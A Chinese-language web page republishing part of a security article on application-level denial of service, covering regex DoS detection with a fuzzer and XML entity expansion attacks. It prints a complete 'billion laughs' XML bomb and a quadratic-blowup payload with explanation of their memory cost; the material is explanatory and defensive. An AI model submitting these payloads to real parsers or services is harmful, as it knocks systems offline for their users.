免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 应用程序级拒绝服务攻防(3)

应用程序级拒绝服务攻防(3)

时间:2011-11-02 22:42来源:未知 整理:寂涯网络 点击:


这是在正则表达式库网站(regexlib.com)中发现的正则表达式,用来验证电子邮件地
址。但是,它很容易受到攻击。可以通过人工代码检测发现此漏洞,也可能无法发现。另一

种可能更可靠的检测方法就是使用微软在2010年10月推出的SDLRegex Fuzzer工具来测试
正则表达式是否存在DoS安全漏洞。只需将模式输入Regex Fuzzer工具,fuzzer会决定模
式是否在指数时间执行。
可在 XML 文档类型定义(DTD)中定义自己的实体,实际上起字符串宏替换的作用。例
如,可将该行添加至DTD,并用“Adobe Systems Inc.”替换所有的&companyname字符串。 

<!ENTITY companyname "Adobe Systems Inc."> 
    也可以这样嵌套实体:
<!ENTITY companyname "Adobe Systems Inc."><!ENTITY teamname "&companyname;
Adobe Secure SoftwareEngineering Team">
虽然大多数开发人员都习惯使用外部 DTD 文件,但也与 XML 数据一起包含内联的 DTD
文件。只需要在<!DOCTYPE >声明中直接定义 DTD,而不使用<!DOCTYPE>来涉及外部 DTD 文
件:
 
<?xml version="1.0"?>

<!DOCTYPE employees [
<!ELEMENT employees (employee)*>
<!ELEMENT employee (#PCDATA)>
<!ENTITY companyname "Adobe Systems Inc.">
<!ENTITY teamname "&companyname; Adobe Secure Software
Engineering Team">
]>
<employees>
<employee>Bryan S, &teamname;</employee>
<employee>Peleus U, &teamname;</employee>
<employee>Kyle R, &teamname;</employee>
...
</employees>  

现在攻击者可以利用XML的这三个属性(可替代实体、嵌套实体和内联DTD)的优势来
创建恶意的XML炸弹。攻击者用像上述示例一样的嵌套实体编写XML 文档,其将实体进行多
层级嵌套,如下所示:
 
应当指出,根据DTD规则,该 XML 文档格式标准、有效。当XML 解析器加载此文件时,
 
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
]>
<lolz>&lol10;</lolz>
 其包括一个包含 “&lol10;” 文本的根元素。然而, “&lol10;”字符串是一个定义的实体,
其扩展成包含7个“&lol9;”的字符串。每个“&lol9;”字符串是一个定义的实体,其扩展
成 7 个“&lol8;”字符串,等等。在处理完所有的实体扩展后,这个小XML块(小于1 KB)
实际上包含有4000万个“lol”,大概占据1GB 内存。
这种攻击的变种就是Amit Klein发现的 Quadratic Blowup攻击(二次爆破攻击)。与
定义多个小的、深层次嵌套实体不同的是,攻击者将定义一个非常大的实体并多次引用它:  

<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

如果攻击者将实体“&a;”定义为50,000个字符长,并在根“kaboom”元素内部50,000
次提到该实体,那么攻击者会用 XML 炸弹攻击结束,其载荷略高于 200 KB 大小,在解析时
扩展到 2.5 GB 大小。这种扩展比例没有用指数实体扩展的攻击那么令人印象深刻,但仍足
以完成整个解析过程。

本页地址 http://www.jybase.net/xitonganquan/20111102547.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com